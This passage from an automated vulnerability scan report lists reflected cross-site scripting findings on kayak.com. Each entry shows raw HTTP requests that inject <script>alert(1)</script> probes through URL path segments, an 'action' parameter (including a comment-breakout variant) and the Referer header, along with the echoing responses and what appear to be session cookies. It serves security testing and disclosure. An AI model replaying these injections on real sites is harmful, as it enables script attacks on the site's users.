
Summary

Severity:   High
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /v349/js/fdvacation.js

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload d82d2<script>alert(1)</script>dfa36884ab6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v349d82d2<script>alert(1)</script>dfa36884ab6/js/fdvacation.js HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Referer: http://www.kayak.com/vacations
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sc=2; p1.med.searched=true; p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A; dc=dc2; cluster=4; p1.med.st=vacations

Response

HTTP/1.1 400 Bad Request
Server: Apache
Context-Type: text/html
Vary: Accept-Encoding
Content-Type: text/plain; charset=UTF-8
Date: Sat, 13 Nov 2010 21:17:43 GMT
Connection: close
Content-Length: 543

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>400 Bad Request</title>
</head>
<body>
<h1>Bad Request</h1>

<p> Your browser sent a request that this ser
...[SNIP]...
<br>
Request: /v349d82d2<script>alert(1)</script>dfa36884ab6/js/fdvacation.js</br>
...[SNIP]...

2.24. http://www.kayak.com/v349/js/homeairport.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /v349/js/homeairport.js

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 4fad5<script>alert(1)</script>1d89520e953 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v3494fad5<script>alert(1)</script>1d89520e953/js/homeairport.js HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Referer: http://www.kayak.com/deals
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sc=2; p1.med.searched=true; p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A; dc=dc2; cluster=4; p1.med.st=deals

Response

HTTP/1.1 400 Bad Request
Server: Apache
Context-Type: text/html
Vary: Accept-Encoding
Content-Type: text/plain; charset=UTF-8
Date: Sat, 13 Nov 2010 21:17:43 GMT
Connection: close
Content-Length: 544

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>400 Bad Request</title>
</head>
<body>
<h1>Bad Request</h1>

<p> Your browser sent a request that this ser
...[SNIP]...
<br>
Request: /v3494fad5<script>alert(1)</script>1d89520e953/js/homeairport.js</br>
...[SNIP]...

2.25. http://www.kayak.com/v349/js/hotel.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /v349/js/hotel.js

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 581c7<script>alert(1)</script>7190f770f0c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v349581c7<script>alert(1)</script>7190f770f0c/js/hotel.js HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Referer: http://www.kayak.com/r/UO3ZOs
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sid=3-dfohFUBsA8NPyE92DBsn; p1.med.token=imubEhgrlmFa4rEbnRuzxg; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sc=1; dc=dc2; cluster=4; p1.med.searched=true

Response

HTTP/1.1 400 Bad Request
Server: Apache
Context-Type: text/html
Vary: Accept-Encoding
Content-Type: text/plain; charset=UTF-8
Date: Sat, 13 Nov 2010 21:17:37 GMT
Connection: close
Content-Length: 538

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>400 Bad Request</title>
</head>
<body>
<h1>Bad Request</h1>

<p> Your browser sent a request that this ser
...[SNIP]...
<br>
Request: /v349581c7<script>alert(1)</script>7190f770f0c/js/hotel.js</br>
...[SNIP]...

2.26. http://www.kayak.com/v349/js/newsletter.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /v349/js/newsletter.js

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 8ab64<script>alert(1)</script>90ed1f3cb48 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v3498ab64<script>alert(1)</script>90ed1f3cb48/js/newsletter.js HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Referer: http://www.kayak.com/deals
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sc=2; p1.med.searched=true; p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A; dc=dc2; cluster=4; p1.med.st=deals

Response

HTTP/1.1 400 Bad Request
Server: Apache
Context-Type: text/html
Vary: Accept-Encoding
Content-Type: text/plain; charset=UTF-8
Date: Sat, 13 Nov 2010 21:17:44 GMT
Connection: close
Content-Length: 543

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>400 Bad Request</title>
</head>
<body>
<h1>Bad Request</h1>

<p> Your browser sent a request that this ser
...[SNIP]...
<br>
Request: /v3498ab64<script>alert(1)</script>90ed1f3cb48/js/newsletter.js</br>
...[SNIP]...

2.27. http://www.kayak.com/v349/js/r9.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /v349/js/r9.js

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 8138c<script>alert(1)</script>d7c17b7f749 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v3498138c<script>alert(1)</script>d7c17b7f749/js/r9.js HTTP/1.1
Accept: */*
Referer: http://www.kayak.com/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Host: www.kayak.com
Proxy-Connection: Keep-Alive
Cookie: Apache=rnneEg-AAABLEb2jh4-47-BvnWTg; kayak=9CGZXjYMJHM8W3n0VHoU; dc=dc1; cluster=2; p1.med.sid=23-4hVfWQaEe628XxCIqIh9; p1.med.token=Wv4rMn8mv7jKk_lWeFJp5g

Response

HTTP/1.1 400 Bad Request
Server: Apache
Context-Type: text/html
Vary: Accept-Encoding
Content-Type: text/plain; charset=UTF-8
Date: Sat, 13 Nov 2010 21:17:39 GMT
Connection: close
Content-Length: 535

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>400 Bad Request</title>
</head>
<body>
<h1>Bad Request</h1>

<p> Your browser sent a request that this ser
...[SNIP]...
<br>
Request: /v3498138c<script>alert(1)</script>d7c17b7f749/js/r9.js</br>
...[SNIP]...

2.28. http://www.kayak.com/v349/js/r9cal.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /v349/js/r9cal.js

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 6f7ba<script>alert(1)</script>202c601890 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v3496f7ba<script>alert(1)</script>202c601890/js/r9cal.js HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Referer: http://www.kayak.com/v349/h/nvtl/califrame.vtl?lc=en.US&singleMonth=undefined&allowPast=false
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sid=3-dfohFUBsA8NPyE92DBsn; p1.med.token=imubEhgrlmFa4rEbnRuzxg; dc=dc2; cluster=4

Response

HTTP/1.1 400 Bad Request
Server: Apache
Context-Type: text/html
Vary: Accept-Encoding
Content-Type: text/plain; charset=UTF-8
Date: Sat, 13 Nov 2010 21:17:39 GMT
Connection: close
Content-Length: 537

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>400 Bad Request</title>
</head>
<body>
<h1>Bad Request</h1>

<p> Your browser sent a request that this ser
...[SNIP]...
<br>
Request: /v3496f7ba<script>alert(1)</script>202c601890/js/r9cal.js</br>
...[SNIP]...

2.29. http://www.kayak.com/v349/js/sparkle.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /v349/js/sparkle.js

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 5b1d1<script>alert(1)</script>75d332fc508 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v3495b1d1<script>alert(1)</script>75d332fc508/js/sparkle.js HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Referer: http://www.kayak.com/deals
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sc=2; p1.med.searched=true; p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A; dc=dc2; cluster=4; p1.med.st=deals

Response

HTTP/1.1 400 Bad Request
Server: Apache
Context-Type: text/html
Vary: Accept-Encoding
Content-Type: text/plain; charset=UTF-8
Date: Sat, 13 Nov 2010 21:17:44 GMT
Connection: close
Content-Length: 540

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>400 Bad Request</title>
</head>
<body>
<h1>Bad Request</h1>

<p> Your browser sent a request that this ser
...[SNIP]...
<br>
Request: /v3495b1d1<script>alert(1)</script>75d332fc508/js/sparkle.js</br>
...[SNIP]...

2.30. http://www.kayak.com/v349/js/streaming.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /v349/js/streaming.js

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload ce3ca<script>alert(1)</script>b76e0401570 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v349ce3ca<script>alert(1)</script>b76e0401570/js/streaming.js HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Referer: http://www.kayak.com/r/UO3ZOs
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sid=3-dfohFUBsA8NPyE92DBsn; p1.med.token=imubEhgrlmFa4rEbnRuzxg; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sc=1; dc=dc2; cluster=4; p1.med.searched=true

Response

HTTP/1.1 400 Bad Request
Server: Apache
Context-Type: text/html
Vary: Accept-Encoding
Content-Type: text/plain; charset=UTF-8
Date: Sat, 13 Nov 2010 21:17:39 GMT
Connection: close
Content-Length: 542

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>400 Bad Request</title>
</head>
<body>
<h1>Bad Request</h1>

<p> Your browser sent a request that this ser
...[SNIP]...
<br>
Request: /v349ce3ca<script>alert(1)</script>b76e0401570/js/streaming.js</br>
...[SNIP]...

2.31. http://www.kayak.com/v349/js/vacation.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /v349/js/vacation.js

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 4a904<script>alert(1)</script>382846f9604 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v3494a904<script>alert(1)</script>382846f9604/js/vacation.js HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Referer: http://www.kayak.com/r/vIWLzl
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A; p1.med.st=vacations; p1.med.sc=3; dc=dc2; cluster=4; p1.med.searched=true

Response

HTTP/1.1 400 Bad Request
Server: Apache
Context-Type: text/html
Vary: Accept-Encoding
Content-Type: text/plain; charset=UTF-8
Date: Sat, 13 Nov 2010 21:17:46 GMT
Connection: close
Content-Length: 541

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>400 Bad Request</title>
</head>
<body>
<h1>Bad Request</h1>

<p> Your browser sent a request that this ser
...[SNIP]...
<br>
Request: /v3494a904<script>alert(1)</script>382846f9604/js/vacation.js</br>
...[SNIP]...

2.32. http://www.kayak.com/vs/client%20page%20load/front%20door/vacations/ms/10018 [action parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /vs/client%20page%20load/front%20door/vacations/ms/10018

Issue detail

The value of the action request parameter is copied into an HTML comment. The payload b665d--><script>alert(1)</script>11db4d13c1 was submitted in the action parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /vs/client%20page%20load/front%20door/vacations/ms/10018?action=vsb665d--><script>alert(1)</script>11db4d13c1 HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Referer: http://www.kayak.com/
X-Requested-With: XMLHttpRequest
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.st=vacations; p1.med.sc=4; p1.med.searched=true; dc=dc2; cluster=4; p1.med.sid=18-TWVpsjgNEOyAenDsVTMX; p1.med.token=CWws4BMUH2Tvc1RIPMoQ6w

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Vary: Accept-Encoding
Content-Type: text/plain; charset=UTF-8
Date: Sat, 13 Nov 2010 21:39:09 GMT
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Content-Length: 9871

<html>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta http-equiv="pragma" content="no-cache" />
<meta name="robots" content="noindex,nofollow" />
<head>
<title>Error |
...[SNIP]...
<!--
javax.servlet.ServletException: Unsupported request vsb665d--><script>alert(1)</script>11db4d13c1
   at com.r9.kinship.httpd.SparkleServlet.doGet(SparkleServlet.java:540)
   at javax.servlet.http.HttpServlet.service(HttpServlet.java:690)
   at com.r9.nucleus.web.CoreServlet.service(CoreServlet.java:67)

...[SNIP]...

2.33. http://www.kayak.com/ [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /

Issue detail

The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 65cd4<script>alert(1)</script>6df4b50a5fe was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET / HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.kayak.com
Referer: http://www.google.com/search?hl=en&q=65cd4<script>alert(1)</script>6df4b50a5fe

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding
Date: Sat, 13 Nov 2010 21:17:34 GMT
Connection: close
Set-Cookie: Apache=rnneEg-AAABLEcZrpY-47-CaZ2Eg; path=/; expires=Fri, 09-Aug-13 21:17:34 GMT; domain=.kayak.com
Set-Cookie: kayak=bWcIL9NkyLkFxudO$HOK; Domain=.kayak.com; Expires=Tue, 12-Nov-2013 21:17:34 GMT; Path=/
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Set-Cookie: p2.med.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p.med.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p1.med.sid=1-UCwS3jVSHJHy9XAuHka8; Domain=.kayak.com; Path=/
Set-Cookie: p1.med.token=S0zsCyKu1jtze7oGJ6iOnQ; Domain=.kayak.com; Expires=Wed, 12-Jan-2011 21:17:34 GMT; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 51960

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Reserved.
...[SNIP]...
<b>"65cd4<script>alert(1)</script>6df4b50a5fe"</b>
...[SNIP]...

2.34. http://www.kayak.com/cars [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /cars

Issue detail

The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 16acb<script>alert(1)</script>958b81ebcec was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /cars HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=16acb<script>alert(1)</script>958b81ebcec
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sc=2; p1.med.searched=true; p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A; p1.med.st=flights; dc=dc2; cluster=4

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding
Date: Sat, 13 Nov 2010 20:44:09 GMT
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Set-Cookie: p1.med.st=cars; Domain=.kayak.com; Expires=Fri, 11-Feb-2011 20:44:08 GMT; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 47952

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Reserved.
...[SNIP]...
<b>"16acb<script>alert(1)</script>958b81ebcec"</b>
...[SNIP]...

2.35. http://www.kayak.com/cars [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /cars

Issue detail

The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 4bfd2<script>alert(1)</script>26997567ae3 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /cars?tab=cars&pickup_date=11%2F17%2F2010&location=Boston%2C+MA%2C+US&oneway=n&dropoff_date=11%2F18%2F2010&pickup_hour=9&dropoff_hour=9&action=docars HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=4bfd2<script>alert(1)</script>26997567ae3
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sid=3-dfohFUBsA8NPyE92DBsn; p1.med.token=imubEhgrlmFa4rEbnRuzxg; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sc=1; p1.med.searched=true; dc=dc2; cluster=4

Response (redirected)

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding
Date: Sat, 13 Nov 2010 21:20:32 GMT
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Set-Cookie: p2.med.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p.med.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p1.med.sid=11-78BvzHwnHlBbI_KaZmm9; Domain=.kayak.com; Path=/
Set-Cookie: p1.med.token=NrnjKNS_$DqDEyx7P2ESDw; Domain=.kayak.com; Expires=Wed, 12-Jan-2011 21:20:31 GMT; Path=/
Set-Cookie: p1.med.searched=true; Domain=.kayak.com; Expires=Fri, 11-Feb-2011 21:20:32 GMT; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 229865

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Rese
...[SNIP]...
<b>"4bfd2<script>alert(1)</script>26997567ae3"</b>
...[SNIP]...

2.36. http://www.kayak.com/flights [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /flights

Issue detail

The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 645fd<script>alert(1)</script>757d1d1a68c was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /flights HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=645fd<script>alert(1)</script>757d1d1a68c
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sc=2; p1.med.searched=true; p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A; dc=dc2; cluster=4

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding
Date: Sat, 13 Nov 2010 20:44:20 GMT
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Set-Cookie: p1.med.st=flights; Domain=.kayak.com; Expires=Fri, 11-Feb-2011 20:44:20 GMT; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 61163

<!DOCTYPE html
